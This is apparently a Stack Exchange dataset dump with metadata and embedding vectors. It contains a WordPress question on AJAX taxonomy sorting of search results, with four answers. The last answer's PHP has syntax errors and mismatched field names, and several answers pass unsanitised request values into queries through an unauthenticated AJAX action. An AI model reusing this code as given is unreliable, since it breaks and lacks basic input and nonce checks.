=> true, 'aria-labelledby' => true, 'role' => true, 'xmlns' => true, 'width' => true, 'height' => true, 'viewbox' => true // <= Must be lower case! ), 'g' => array( 'fill' => true ), 'title' => array( 'title' => true ), 'line' => array ( 'id' => true, 'x1' => true, 'y1' => true, 'x2' => true, 'y2' => true ), 'polyline' => array ( 'id' => true, 'points' => true ), ); The correct syntax: You list every SVG element in your arguments at the the same level. Make sure to replace [] in these examples with the actual array of attributes that make up the element. You can find all the elements you need to allow and their attributes by observing the SVG code itself.
wordpress
{ "language": "en", "length": 641, "provenance": "stackexchange_00019.jsonl.gz:488905", "question_score": "5", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/312625" }
[ 0.026519775390625, -0.047821044921875, 0.0057525634765625, -0.0196075439453125, -0.0254669189453125, 0.0024127960205078125, 0.0418701171875, 0.01751708984375, 0.00283050537109375, 0.045166015625, -0.0254974365234375, 0.01898193359375, 0.00510406494140625, -0.003631591796875, -0.01419830322265625, 0.00035119056701660156, 0.051422119140625, -0.027099609375, 0.0203399658203125, -0.006435394287109375, -0.004299163818359375, 0.0175628662109375, 0.04302978515625, 0.101318359375, -0.03582763671875, -0.042572021484375, 0.10162353515625, -0.0285491943359375, -0.034637451171875, -0.060333251953125, -0.01727294921875, 0.0650634765625, 0.025604248046875, 0.04400634765625, -0.063232421875, 0.053466796875, 0.0064544677734375, 0.0190887451171875, 0.0083465576171875, 0.034393310546875, 0.006526947021484375, -0.007354736328125, 0.052947998046875, 0.01161956787109375, 0.0002944469451904297, -0.00806427001953125, 0.00554656982421875, -0.02679443359375, -0.0015497207641601562, 0.08343505859375, 0.00524139404296875, 0.004810333251953125, -0.026611328125, 0.048614501953125, 0.0289154052734375, 0.01236724853515625, -0.0545654296875, 0.0307464599609375, 0.01155853271484375, 0.0477294921875, 0.0125579833984375, -0.002147674560546875, -0.004978179931640625, -0.02801513671875, -0.025421142578125, -0.01111602783203125, 0.031646728515625, 0.0117950439453125, -0.0288848876953125, -0.0325927734375, 0.0251922607421875, 0.001880645751953125, 0.0289306640625, -0.061614990234375, 0.0221405029296875, 0.01556396484375, -0.0526123046875, -0.03729248046875, 0.044219970703125, -0.0238037109375, 0.046722412109375, -0.0024204254150390625, -0.04815673828125, 0.01776123046875, 0.01849365234375, 0.01148223876953125, 0.0012445449829101562, -0.0234222412109375, -0.00972747802734375, 0.002933502197265625, -0.01457977294921875, -0.00835418701171875, -0.0254974365234375, -0.0016870498657226562, 0.0112762451171875, -0.049285888671875, -0.06695556640625, -0.05609130859375, -0.04345703125, 0.037750244140625, -0.0008764266967773438, -0.0139312744140625, 0.035491943359375, -0.01629638671875, 0.00444793701171875, 0.10369873046875, 0.019500732421875, -0.0004687309265136719, -0.0155487060546875, -0.01543426513671875, 0.022003173828125, -0.06964111328125, -0.01605224609375, -0.0298919677734375, -0.0321044921875, 0.041748046875, 0.004608154296875, -0.002033233642578125, 0.0227813720703125, 0.036163330078125, 0.016937255859375, 0.0267486572265625, 0.026336669921875, -0.037078857421875, 0.0068359375, -0.0108489990234375, -0.033111572265625, -0.0131683349609375, 0.0609130859375, -0.01526641845703125, -0.0328369140625, 0.0092315673828125, 0.01617431640625, 0.0374755859375, 0.0082244873046875, -0.0174560546875, -0.01788330078125, 0.03369140625, 0.00885772705078125, -0.00699615478515625, 0.018096923828125, -0.0164337158203125, 0.022064208984375, 0.0301666259765625, -0.0287322998046875, 0.0058441162109375, 0.0024776458740234375, 0.0318603515625, -0.01117706298828125, -0.0677490234375, 0.06964111328125, -0.0592041015625, 0.0222015380859375, -0.0019989013671875, -0.0009927749633789062, -0.058868408203125, -0.0005192756652832031, -0.048797607421875, 0.03546142578125, -0.054229736328125, -0.05438232421875, -0.01219940185546875, 0.028076171875, -0.0080718994140625, 0.03192138671875, 0.01309967041015625, 0.017730712890625, 0.01849365234375, 0.03106689453125, 0.070068359375, -0.01517486572265625, -0.0201263427734375, -0.002777099609375, 0.030853271484375, -0.006801605224609375, 0.0305938720703125, 0.032623291015625, -0.0029087066650390625, 0.016845703125, 0.0623779296875, 0.00469970703125, -0.027252197265625, 0.06396484375, -0.031280517578125, -0.00909423828125, -0.01505279541015625, -0.00710296630859375, -0.03466796875, 0.04241943359375, 0.00794219970703125, -0.00998687744140625, 0.0175933837890625, -0.00116729736328125, 0.02984619140625, 0.0253753662109375, -0.058685302734375, -0.01384735107421875, -0.032501220703125, -0.0004429817199707031, -0.0157623291015625, 0.043548583984375, -0.03912353515625, 0.044952392578125, -0.0167694091796875, 0.0265655517578125, -0.0308074951171875, -0.0015735626220703125, 0.0044708251953125, -0.06304931640625, 0.031768798828125, 0.03900146484375, -0.0081024169921875, -0.04266357421875, 0.031524658203125, 0.01715087890625, -0.04205322265625, -0.006031036376953125, 0.038970947265625, 0.0004627704620361328, 0.039031982421875, 0.005100250244140625, -0.0160369873046875, 0.023345947265625, 0.0207672119140625, 0.03411865234375, -0.01561737060546875, -0.0247650146484375, -0.0222015380859375, 0.0265045166015625, 0.007183074951171875, 0.017578125, 0.039154052734375, 0.0263214111328125, 0.0252227783203125, -0.0031375885009765625, 0.0005464553833007812, 0.0270843505859375, -0.0278167724609375, 0.003162384033203125, 0.0274658203125, 0.033416748046875, 0.06292724609375, -0.0254974365234375, -0.03741455078125, 0.09405517578125, -0.029205322265625, -0.00426483154296875, -0.0291900634765625, -0.0250244140625, -0.0170745849609375, 0.00402069091796875, 0.0012836456298828125, 0.015838623046875, -0.031280517578125, -0.01108551025390625, 0.0158843994140625, 0.006519317626953125, -0.0010213851928710938, -0.037353515625, 0.02508544921875, 0.007549285888671875, 0.0250701904296875, -0.01490020751953125, 0.018218994140625, 0.02618408203125, -0.00299072265625, -0.01409149169921875, -0.004749298095703125, -0.0499267578125, 0.032928466796875, 0.031158447265625, -0.0106353759765625, 0.0021266937255859375, 0.033294677734375, 0.020416259765625, 0.03515625, -0.036895751953125, -0.017608642578125, 0.01505279541015625, 0.034149169921875, -0.007419586181640625, -0.0025806427001953125, 0.038177490234375, -0.00762939453125, -0.0158843994140625, 0.0006995201110839844, 0.059722900390625, 0.015716552734375, 0.005222320556640625, 0.00867462158203125, 0.0191650390625, 0.0333251953125, -0.0080413818359375, 0.0272369384765625, -0.0034999847412109375, -0.003322601318359375, 0.06829833984375, -0.0293426513671875, 0.026702880859375, -0.01837158203125, 0.0697021484375, 0.045928955078125, -0.01287841796875, -0.016265869140625, 0.0066986083984375, 0.011138916015625, -0.00824737548828125, 0.02886962890625, -0.0035610198974609375, -0.054840087890625, -0.02484130859375, -0.03167724609375, 0.0123138427734375, 0.047943115234375, -0.02313232421875, -0.0170745849609375, -0.019287109375, 0.00649261474609375, -0.028839111328125, -0.03662109375, 0.09130859375, -0.0428466796875, -0.0238800048828125, -0.02008056640625, -0.039825439453125, -0.01617431640625, 0.005046844482421875, -0.038787841796875, -0.0092010498046875, -0.027740478515625, -0.039215087890625, -0.060577392578125, -0.0791015625, -0.002593994140625, 0.00827789306640625, 0.01374053955078125, 0.0150604248046875, 0.0305023193359375, 0.0270233154296875, -0.00861358642578125, 0.04644775390625, 0.055908203125, -0.004634857177734375, 0.01270294189453125, -0.01195526123046875, -0.023284912109375, -0.055572509765625, -0.0145111083984375, 0.0011625289916992188, -0.0127410888671875, 0.0014066696166992188, 0.01337432861328125, -0.0185699462890625, -0.0214996337890625, 0.0024967193603515625, 0.038818359375, 0.02252197265625, -0.006252288818359375, 0.0293731689453125, -0.025787353515625, -0.0250091552734375, 0.0269012451171875, -0.0281829833984375, 0.0300750732421875, 0.02960205078125, -0.042938232421875, 0.01322174072265625, 0.00389862060546875, 0.00720977783203125, 0.019927978515625, 0.02105712890625, 0.00807952880859375, -0.0007586479187011719, -0.0092926025390625, -0.0022907257080078125, -0.023284912109375, 0.029449462890625, -0.0260467529296875, 0.01910400390625, 0.004253387451171875, -0.032073974609375, -0.0151824951171875, -0.01158905029296875, -0.03338623046875, -0.00566864013671875, 0.051483154296875, -0.0028591156005859375, 0.040069580078125, -0.056640625, -0.024200439453125, -0.0516357421875, 0.041290283203125, 0.00015223026275634766, -0.0198822021484375, -0.00846099853515625, -0.01070404052734375, -0.03814697265625, 0.00524139404296875, -0.0194091796875, 0.01348114013671875, -0.05804443359375, 0.0239410400390625, 0.0158538818359375, -0.04046630859375, 0.0087127685546875, -0.07940673828125, -0.045867919921875, -0.02691650390625, 0.01727294921875, -0.0006518363952636719, -0.03167724609375, 0.031585693359375, -0.03564453125, 0.01221466064453125, -0.0235137939453125, -0.00878143310546875, -0.09295654296875, -0.0193023681640625, -0.056732177734375, 0.08038330078125, -0.005352020263671875, 0.0209197998046875, -0.0504150390625, 0.040802001953125, -0.0232086181640625, -0.002826690673828125, 0.02081298828125, 0.039459228515625, -0.03509521484375, 0.016845703125, 0.0085601806640625, -0.032806396484375, -0.037750244140625, -0.0027332305908203125, -0.0271148681640625, -0.01349639892578125, 0.0224609375, -0.0657958984375, 0.07891845703125, -0.033294677734375, -0.03594970703125, -0.038848876953125, -0.00896453857421875, -0.00499725341796875, 0.005702972412109375, -0.0223388671875, -0.05255126953125, -0.01708984375, 0.0909423828125, 0.047271728515625, -0.0064544677734375, -0.03216552734375, 0.07037353515625, -0.00021910667419433594, -0.06903076171875, -0.0287933349609375, -0.0293731689453125, 0.0194549560546875, -0.061676025390625, 0.0183258056640625, 0.014495849609375, 0.0012073516845703125, 0.0174560546875, -0.0406494140625, 0.05413818359375, -0.06524658203125, 0.07098388671875, -0.01132965087890625, 0.00901031494140625, 0.03497314453125, -0.005023956298828125, -0.013275146484375, -0.0234222412109375, 0.01255035400390625, 0.0193634033203125, 0.0257110595703125, 0.006778717041015625, 0.0288238525390625, -0.01345062255859375, -0.0137176513671875, 0.01538848876953125, -0.019561767578125, 0.05169677734375, 0.0697021484375, 0.039581298828125, 0.00743865966796875, 0.011627197265625, 0.037109375, -0.00864410400390625, 0.000141143798828125, 0.0010194778442382812, -0.0039043426513671875, 0.03656005859375, -0.025726318359375, -0.0162353515625, 0.00014340877532958984, 0.0035457611083984375, -0.005161285400390625, 0.0247344970703125, -0.006740570068359375, -0.007843017578125, 0.01629638671875, -0.01204681396484375, -0.037689208984375, 0.00833892822265625, -0.011810302734375, 0.0266571044921875, -0.021392822265625, 0.032623291015625, 0.04876708984375, -0.0278167724609375, -0.022247314453125, 0.03424072265625, 0.0200347900390625, -0.002197265625, 0.011199951171875, 0.051116943359375, 0.0277252197265625, 0.0238037109375, -0.0247344970703125, 0.0212554931640625, 0.0318603515625, 0.02862548828125, 0.0222320556640625, -0.051605224609375, -0.01444244384765625, 0.0024871826171875, -0.0136566162109375, -0.024505615234375, 0.004184722900390625, 0.0200042724609375, 0.00904083251953125, -0.02349853515625, -0.03887939453125, 0.044342041015625, 0.00441741943359375, -0.0065155029296875, -0.02264404296875, -0.0278778076171875, -0.0175323486328125, 0.01412200927734375, 0.031707763671875, 0.002376556396484375, -0.01239013671875, -0.00908660888671875, -0.01611328125, -0.039581298828125, 0.0033779144287109375, -0.01543426513671875, -0.0211029052734375, -0.007720947265625, -0.00615692138671875, -0.0684814453125, -0.02325439453125, 0.0277099609375, -0.07623291015625, -0.03302001953125, -0.0179443359375, -0.026458740234375, 0.030975341796875, -0.08673095703125, 0.06732177734375, -0.033905029296875, 0.0140380859375, 0.040985107421875, 0.039581298828125, 0.03021240234375, 0.0477294921875, -0.0107574462890625, -0.008880615234375, -0.0216522216796875, -0.00933074951171875, 0.0301666259765625, -0.0169219970703125, 0.004512786865234375, -0.0286712646484375, -0.0225830078125, 0.016143798828125, 0.0060577392578125, 0.0382080078125, -0.006519317626953125, 0.047454833984375, -0.00814056396484375, 0.071044921875, -0.017578125, 0.0239715576171875, -0.017913818359375, 0.008209228515625, -0.03643798828125, -0.0316162109375, -0.0153656005859375, 0.01294708251953125, 0.016998291015625, -0.04241943359375, -0.01497650146484375, -0.0382080078125, 0.01084136962890625, 0.006927490234375, 0.0350341796875, -0.006488800048828125, 0.01448822021484375, -0.0171966552734375, 0.0007910728454589844, -0.019439697265625, 0.01433563232421875, -0.037017822265625, -0.02099609375, 0.0271453857421875, -0.0225982666015625, -0.01541900634765625, -0.005016326904296875, -0.0012197494506835938, 0.0290374755859375, 0.00098419189453125, 0.01123046875, 0.012054443359375, -0.032135009765625, 0.0161590576171875, 0.021575927734375, 0.00792694091796875, 0.0271759033203125, 0.00041675567626953125, 0.023895263671875, 0.0297393798828125, -0.021820068359375, 0.04541015625, 0.0167388916015625, 0.0151824951171875, -0.03057861328125, 0.0010166168212890625, 0.004241943359375, -0.0179290771484375, 0.00856781005859375, 0.047760009765625, 0.037445068359375, -0.056915283203125, -0.0124359130859375, -0.01036834716796875, -0.030853271484375, 0.019287109375, 0.0031757354736328125, -0.0155487060546875, -0.0704345703125, 0.0244598388671875, -0.024688720703125, -0.01413726806640625, -0.00035953521728515625, -0.0084686279296875, 0.01519012451171875, 0.03216552734375, 0.0767822265625, 0.002349853515625, -0.036834716796875, -0.0316162109375, -0.0006136894226074219, -0.002838134765625, -0.015594482421875, 0.019622802734375, 0.01184844970703125, 0.007701873779296875, -0.03546142578125, 0.027801513671875, -0.02392578125, -0.01293182373046875, 0.03765869140625, 0.016998291015625, 0.041534423828125, 0.049072265625, -0.0017709732055664062, -0.0007176399230957031, 0.010711669921875, 0.011322021484375, 0.09796142578125, 0.0078887939453125, 0.0016946792602539062, 0.05438232421875, -0.00038170814514160156, -0.00951385498046875, 0.03607177734375, 0.032684326171875, -0.00986480712890625, 0.065673828125, 0.0489501953125, 0.021484375, -0.04583740234375, 0.04840087890625, 0.052703857421875, -0.0202789306640625, 0.003322601318359375, 0.0257568359375, -0.07830810546875, -0.048187255859375, 0.01800537109375, -0.042877197265625, 0.0077972412109375, 0.017974853515625, -0.07366943359375, 0.06304931640625, 0.06439208984375, 0.037994384765625, 0.01374053955078125, -0.005023956298828125, -0.056915283203125, -0.0347900390625, 0.006145477294921875, 0.00885009765625, 0.0081939697265625, -0.01146697998046875, -0.005573272705078125, -0.0123443603515625, -0.0107574462890625, 0.05133056640625, 0.0166168212890625, -0.00421142578125, -0.00821685791015625, -0.00768280029296875, 0.06756591796875, 0.0304412841796875, -0.0002142190933227539, 0.0104217529296875, 0.03582763671875, 0.038604736328125, 0.03472900390625, -0.035430908203125, 0.039398193359375, -0.0638427734375, 0.0223388671875, 0.0172882080078125, -0.0174102783203125, -0.0413818359375, 0.0164794921875, -0.0266571044921875, -0.0196990966796875, -0.0022869110107421875, -0.021728515625, -0.00020492076873779297, -0.04608154296875, 0.021453857421875, -0.02398681640625, -0.043548583984375, -0.09478759765625, -0.014984130859375, 0.00015032291412353516, 0.0191497802734375, -0.030731201171875, 0.068359375, 0.0156402587890625, -0.037567138671875, 0.0021800994873046875, 0.0030956268310546875, 0.00380706787109375, 0.01032257080078125, -0.049285888671875, 0.003635406494140625, 0.0150604248046875, -0.009063720703125, 0.021881103515625, 0.037078857421875, -0.039581298828125, 0.0005922317504882812, 0.0296173095703125, 0.0222625732421875, 0.00620269775390625, -0.0212249755859375, -0.03277587890625, 0.0195159912109375, -0.01412200927734375, -0.027496337890625, -0.0295867919921875, 0.00970458984375, 0.0323486328125, -0.0015478134155273438, -0.01265716552734375, -0.018646240234375, -0.01180267333984375, 0.0157623291015625, -0.0225067138671875, -0.0034637451171875, -0.0196380615234375, 0.0628662109375, 0.0340576171875, 0.042633056640625, -0.058349609375, -0.03302001953125, -0.007122039794921875, 0.0292510986328125, 0.00909423828125, -0.0091094970703125, 0.00878143310546875, -0.001678466796875, 0.0256805419921875, 0.006526947021484375, 0.0498046875, -0.0023174285888671875, 0.0390625, -0.0126190185546875, -0.021087646484375, 0.005153656005859375, -0.007251739501953125, -0.0221099853515625, -0.01229095458984375, -0.00838470458984375, 0.01071929931640625, 0.02447509765625, -0.0149688720703125, -0.003704071044921875, 0.0258331298828125, 0.03375244140625, -0.03802490234375, 0.07666015625, -0.008880615234375, -0.00966644287109375, 0.0030117034912109375, -0.0251007080078125, 0.050323486328125, 0.0015592575073242188, -0.0142059326171875, 0.0025844573974609375, 0.006137847900390625, -0.006500244140625, -0.0360107421875, 0.0181427001953125, 0.002834320068359375, 0.036865234375, 0.0107879638671875, -0.0260772705078125, 0.04156494140625, 0.0255889892578125, -0.0201263427734375, 0.006908416748046875, 0.046295166015625, -0.00801849365234375, -0.047149658203125, -0.0216827392578125, -0.027557373046875, 0.0450439453125, -0.0061798095703125, 0.051422119140625, -0.03228759765625, 0.031036376953125, 0.032928466796875, 0.0193939208984375, -0.007350921630859375, 0.01454925537109375, 0.06597900390625, -0.00689697265625, -0.004032135009765625, -0.03216552734375, -0.003326416015625, 0.04443359375, 0.0088958740234375, 0.01377105712890625, 0.0292205810546875, -0.0247955322265625, 0.0195770263671875, 0.03265380859375, 0.04730224609375, -0.0160064697265625, -0.055694580078125, -0.08111572265625, -0.0220794677734375, 0.046844482421875, 0.055755615234375, 0.01528167724609375, 0.07098388671875, 0.01340484619140625, -0.0198974609375, 0.055816650390625, -0.10308837890625, 0.067138671875, 0.027252197265625, 0.0162811279296875, -0.032806396484375, -0.0338134765625, -0.0232086181640625, -0.0177764892578125, -0.00519561767578125, 0.014251708984375, -0.0187530517578125, 0.0169677734375, 0.00128173828125, 0.044921875, 0.029083251953125, -0.041229248046875, 0.016876220703125, 0.041473388671875, -0.01116943359375, -0.000644683837890625, -0.037841796875, -0.03076171875, -0.03204345703125, 0.006072998046875, 0.037872314453125, -0.006603240966796875, -0.044464111328125, -0.08697509765625, -0.0234527587890625, 0.0142974853515625, -0.0268707275390625, 0.0186004638671875, -0.048828125, -0.00998687744140625, 0.0282440185546875, -0.0200958251953125, 0.039825439453125, -0.0299224853515625, -0.0165863037109375, -0.026763916015625, 0.01055145263671875, -0.0284271240234375, 0.03399658203125, 0.003803253173828125, 0.01337432861328125, -0.0033054351806640625, 0.0009312629699707031, 0.04718017578125, -0.01110076904296875, 0.0034542083740234375, 0.051361083984375, -0.01459503173828125, -0.038543701171875, -0.035491943359375, 0.0073089599609375, -0.0042724609375, -0.01220703125, 0.023284912109375, -0.035400390625, -0.04644775390625, 0.007038116455078125, -0.004573822021484375, 0.0015993118286132812, -0.04351806640625, -0.0762939453125, 0.05609130859375, -0.01678466796875, -0.0301666259765625, -0.0084686279296875, 0.029052734375, 0.0005702972412109375, 0.01171875, 0.0033245086669921875, -0.0001894235610961914, 0.007038116455078125, 0.0011138916015625, 0.0118865966796875, 0.0203857421875, 0.00598907470703125, 0.0083770751953125, -0.037078857421875, 0.0084075927734375, -0.0167083740234375, -0.0173797607421875, -0.031646728515625, 0.011322021484375, 0.01428985595703125, 0.03765869140625, 0.001438140869140625, -0.017822265625, 0.03900146484375, -0.004852294921875, 0.005039215087890625, -0.0178680419921875, -0.0250701904296875, 0.004947662353515625, 0.06536865234375, 0.01444244384765625, 0.0210418701171875, -0.021026611328125, 0.0308837890625, -0.051177978515625, -0.060882568359375, -0.00921630859375, 0.016082763671875, -0.0675048828125, -0.0119171142578125, 0.03997802734375, 0.0173187255859375, 0.010955810546875, -0.0016164779663085938, -0.0099639892578125, -0.01358795166015625, 0.02752685546875, -0.00047326087951660156, -0.0305328369140625, 0.0140228271484375, 0.006069183349609375, -0.0046234130859375, 0.02813720703125, -0.0248260498046875, 0.0020542144775390625, 0.0278472900390625, 0.01151275634765625, 0.039276123046875, -0.0162200927734375, -0.0289764404296875, -0.016082763671875, 0.0347900390625, 0.02911376953125, -0.0016736984252929688, -0.06512451171875, -0.0183868408203125, 0.023712158203125, -0.01155853271484375, 0.038482666015625, -0.00467681884765625, 0.01540374755859375, 0.0086517333984375, 0.043212890625, -0.0228424072265625, 0.034149169921875, 0.0025234222412109375, 0.00440216064453125, -0.037872314453125, 0.00759124755859375, 0.003345489501953125, -0.0204620361328125, 0.007350921630859375, 0.0234832763671875, -0.01995849609375, -0.01551055908203125, 0.0014638900756835938, -0.031402587890625, 0.0033740997314453125, -0.0012788772583007812 ]
7980d8f17ca412d4963d19dafc218a0cce097855
Wordpress Stackexchange Q: WordPress post sorting with AJAX I am having a search result page for custom post type. I want to have a ajax sorting feature. Eg sort the post by taxonomy without reloading the page. A very basic example will help. Thanks The Search Form : <form id="cptsearch" action="/" method="get"> <input type="text" name="s" /> <input type="hidden" name="post_type" value="lat" /> <input id="searchsubmit" type="submit" alt="Search" value="Search" /> </form> Template Chooser : function template_chooser($template) { global $wp_query; $post_type = get_query_var('post_type'); if( $wp_query->is_search && $post_type == 'lat' ) { return locate_template('page_lat.php'); } return $template; } add_filter('template_include', 'template_chooser'); This is the output template page_lat.php : Search Results (Currently only prints title and post type : if($_GET['s'] && !empty($_GET['s'])){ $text =$_GET['s']; } ?> <div class="container"> <?php $args = array( 'post_per_page'=> -1, 's'=>$text ); $query= new WP_Query($args); while($query->have_posts()): $query->the_post(); ?> <div> <h5><?php the_title(); ?></h5> <strong> <?php echo get_post_type(); ?> </strong> </div> <?php endwhile; wp_reset_query(); ?> </div> A: Just add orderby and/or order to your args. For example... $args = array( 'post_per_page'=> -1, 's'=>$text, 'orderby' => 'title', 'order' => 'DESC', ); Here is more info
Q: WordPress post sorting with AJAX I am having a search result page for custom post type. I want to have a ajax sorting feature. Eg sort the post by taxonomy without reloading the page. A very basic example will help. Thanks The Search Form : <form id="cptsearch" action="/" method="get"> <input type="text" name="s" /> <input type="hidden" name="post_type" value="lat" /> <input id="searchsubmit" type="submit" alt="Search" value="Search" /> </form> Template Chooser : function template_chooser($template) { global $wp_query; $post_type = get_query_var('post_type'); if( $wp_query->is_search && $post_type == 'lat' ) { return locate_template('page_lat.php'); } return $template; } add_filter('template_include', 'template_chooser'); This is the output template page_lat.php : Search Results (Currently only prints title and post type : if($_GET['s'] && !empty($_GET['s'])){ $text =$_GET['s']; } ?> <div class="container"> <?php $args = array( 'post_per_page'=> -1, 's'=>$text ); $query= new WP_Query($args); while($query->have_posts()): $query->the_post(); ?> <div> <h5><?php the_title(); ?></h5> <strong> <?php echo get_post_type(); ?> </strong> </div> <?php endwhile; wp_reset_query(); ?> </div> A: Just add orderby and/or order to your args. For example... $args = array( 'post_per_page'=> -1, 's'=>$text, 'orderby' => 'title', 'order' => 'DESC', ); Here is more info A: Try to look into this a bit more: get terms: $type = get_terms( array('type') ); Fetch all your taxonomies: foreach ($type as $t) { if(!in_array($t->term_id, $type)){ echo '<label class="filter '.$t->slug.'">'; echo '<input type="checkbox" data-filter=".'. $t->term_id .'" class="filter-check '. $t->term_id .'" value="'. $t->term_id .'" name="type[]" ><div class="filter-title">'. $t->name .'</div>'; echo '</label>'; } } look into your custom post type if( !empty( $_POST['options_type'] ) ){ array_push($args['tax_query'], array( 'taxonomy' => 'type', 'field' => 'term_id', 'terms' => $_POST['options_type'], ) ); } in js file execute your ajax call $("input:checkbox").on( "change", function() { var options_type = Array(); $( 'input[name="type[]"]:checked' ).each(function( index, value ) {    options_type.push( $(this).val() ); }); jQuery.ajax({ url : filters.ajax_filter, type : 'post', data : { action : 'filter_reports', options_type : options_type, } }); A: do it with xmlhttp request <button type="button" onclick="loadDoc()">Sort Type X</button> <div id="result"></div> <script> function loadDoc() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("result").innerHTML = this.responseText; } }; xhttp.open("POST", "//example.com/s.php", true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.send("search=XXX&sort=YYY"); } </script> in s.php <?php $xxx = $_POST['search']; $yyyy = $_POST['sort']; $args = array( //your query ); while ( have_posts() ): the_post(); // display post if ( have_posts() ): // If this is the last post, the loop will start over // Do something if this isn't the last post endif; endwhile; ?> A: So This is long question so giving you a simple example that will work fo Step 1) Cat1 cat2 cat3 for this first you need to call custom taxonomy in a form Step 2) Assume you have cat1 cat2 as an checkbox with value of custom taxonomy id Step 3) Add a click event Step 4) Call your ajax function Goto this example - http://www.tinyjewelbox.com/product-category/jewelry/ - I hope you wanted to achieve this click on checkboxes are custom taxonomy and on click of filter sorting according to taxonomy. Method - lets start : - This is the output template page_lat.php : Search Results (Currently only prints title and post type : <?php if($_GET['s'] && !empty($_GET['s'])){ $text =$_GET['s']; $posttype = $_GET['post_type']; } else{ $posttype = 'custom_post_type'; } ?> //This will fetch your custom taxonomy cat1, cat2 , cat3 <form action="" method="" class="" id="filter-menu" > <?php $terms = get_terms('post_tag',, array('hide_empty' => false) ); foreach($terms as $filteroption) { <input type="checkbox" name="filter[]" value="<?php echo $filteroption->term_id; ?>" onclick="filtermenu()" > <?php echo $filteroption->name; ?> } <input type="hidden" name="posttype" id="posttype" value="<?php echo $posttype; ?>" /> ?> <form> <div class="container"> <div class="load_html"> <?php $args = array( 'post_per_page'=> -1, 's'=>$text ); $query= new WP_Query($args); while($query->have_posts()): $query->the_post(); ?> <div> <h5><?php the_title(); ?></h5> <strong> <?php echo get_post_type(); ?> </strong> </div> <?php endwhile; wp_reset_query(); ?> </div> </div> Add click event on click <script> //this a click event of checkbox which call ajax action function filtermenu(paged) { var filtercheckedbox = // get your checkbox value via jquery; var posttype = // get your posttype value; jQuery('#posttype').val(0); jQuery.ajax({ url: AJAXURL, data: { 'action' : 'filter_menu' , 'checkbox': filtercheckedbox, 'posttype' :posttype, 'paged' : 1, }, type: 'POST', success: function(data) { jQuery(".load_html").html(data); } }); } </script> Add your action into functions.php <?php // add this function to functions.php this is your ajax action add_action( 'wp_ajax_filter_menu', 'wp_ajax_filter_menu' ); add_action( 'wp_ajax_nopriv_filter_menu', 'wp_ajax_filter_menu' ); function wp_ajax_filter_menu() { global $post, $wp_query; $args = array( 'post_type' => '$_POST['post_type']', 'tax_query' => array( 'relation' => 'AND', array( 'taxonomy' => 'custom_taxonomy name', 'field' => 'term_id', 'terms' => array($_POST['checkbox']), ), ), 'orderby' => 'ASC', ); $filteroption = new WP_Query( $args ); if ( $filteroption->have_posts() ) : while ($filteroption->have_posts()) : $filteroption->the_post(); ?> <div> <h5><?php the_title(); ?></h5> </div> <?php endwhile; else: return false; endif; } die; } ?>
wordpress
{ "language": "en", "length": 770, "provenance": "stackexchange_00019.jsonl.gz:489138", "question_score": "5", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/313442" }
[ 0.07781982421875, 0.01316070556640625, 0.02362060546875, -0.025634765625, 0.043548583984375, -0.0252685546875, 0.08624267578125, -0.0130157470703125, 0.03466796875, 0.027740478515625, -0.062042236328125, -0.0211639404296875, -0.036285400390625, -0.00011581182479858398, -0.044281005859375, -0.06512451171875, 0.046173095703125, -0.052947998046875, 0.0003159046173095703, -0.007648468017578125, 0.0199737548828125, 0.0098114013671875, 0.024627685546875, 0.06298828125, 0.006229400634765625, 0.02203369140625, 0.049713134765625, -0.01318359375, -0.0003085136413574219, -0.010833740234375, 0.00424957275390625, -0.01457977294921875, 0.038177490234375, -0.02392578125, 0.0060882568359375, 0.01094818115234375, 0.0289154052734375, -0.01263427734375, 0.0166015625, 0.0119476318359375, 0.017913818359375, -0.00931549072265625, 0.0002906322479248047, 0.0267791748046875, -0.0248260498046875, -0.045989990234375, 0.0401611328125, -0.02783203125, 0.021575927734375, -0.0033588409423828125, 0.0044708251953125, -0.0295867919921875, 0.016082763671875, -0.0439453125, -0.0283966064453125, -0.0151519775390625, -0.01003265380859375, -0.03204345703125, 0.03582763671875, 0.0088958740234375, -0.023681640625, -0.03485107421875, 0.026702880859375, -0.023193359375, -0.03472900390625, 0.0020923614501953125, 0.044403076171875, 0.004638671875, -0.049285888671875, -0.0584716796875, 0.0276947021484375, 0.0007958412170410156, -0.014068603515625, 0.01068878173828125, 0.00569915771484375, -0.042510986328125, 0.0031032562255859375, -0.035675048828125, -0.004486083984375, 0.046661376953125, 0.0114593505859375, 0.025238037109375, -0.033538818359375, -0.0235595703125, -0.005542755126953125, -0.02703857421875, -0.0182647705078125, -0.0166778564453125, -0.0362548828125, -0.054779052734375, -0.0172576904296875, -0.056671142578125, -0.03912353515625, -0.0261383056640625, -0.0017747879028320312, -0.063232421875, 0.0077667236328125, 0.028411865234375, -0.004718780517578125, 0.0189056396484375, -0.0186309814453125, -0.03173828125, 0.0474853515625, -0.04443359375, 0.0193328857421875, 0.011993408203125, -0.020416259765625, 0.0163116455078125, 0.056915283203125, 0.032562255859375, -0.0020542144775390625, 0.03497314453125, -0.0026378631591796875, 0.00852203369140625, -0.044189453125, -0.00785064697265625, -0.03582763671875, -0.02288818359375, -0.018463134765625, -0.0011720657348632812, 0.01166534423828125, 0.01064300537109375, 0.037445068359375, -0.0247802734375, 0.0176239013671875, 0.002582550048828125, -0.02484130859375, -0.048919677734375, -0.032989501953125, 0.006031036376953125, -0.0180511474609375, 0.0278778076171875, 0.0125732421875, 0.03265380859375, -0.0002601146697998047, -0.01015472412109375, 0.025787353515625, -0.02423095703125, 0.0013551712036132812, -0.0084686279296875, 0.034271240234375, -0.006763458251953125, 0.005401611328125, 0.01399993896484375, 0.0190277099609375, -0.004253387451171875, 0.0112457275390625, 0.0244140625, 0.018035888671875, -0.005130767822265625, -0.01273345947265625, 0.007556915283203125, 0.05450439453125, -0.00948333740234375, -0.055389404296875, -0.01666259765625, 0.0254058837890625, -0.026458740234375, -0.049072265625, -0.072509765625, 0.0168304443359375, 0.0112457275390625, 0.004840850830078125, -0.032196044921875, -0.0169525146484375, -0.0316162109375, -0.023101806640625, 0.0023651123046875, 0.019683837890625, 0.0185089111328125, -0.0034694671630859375, -0.0224456787109375, 0.016387939453125, 0.0004191398620605469, -0.017730712890625, 0.011474609375, -0.004398345947265625, -0.0093841552734375, 0.045166015625, -0.038177490234375, -0.0546875, -0.029266357421875, 0.06109619140625, 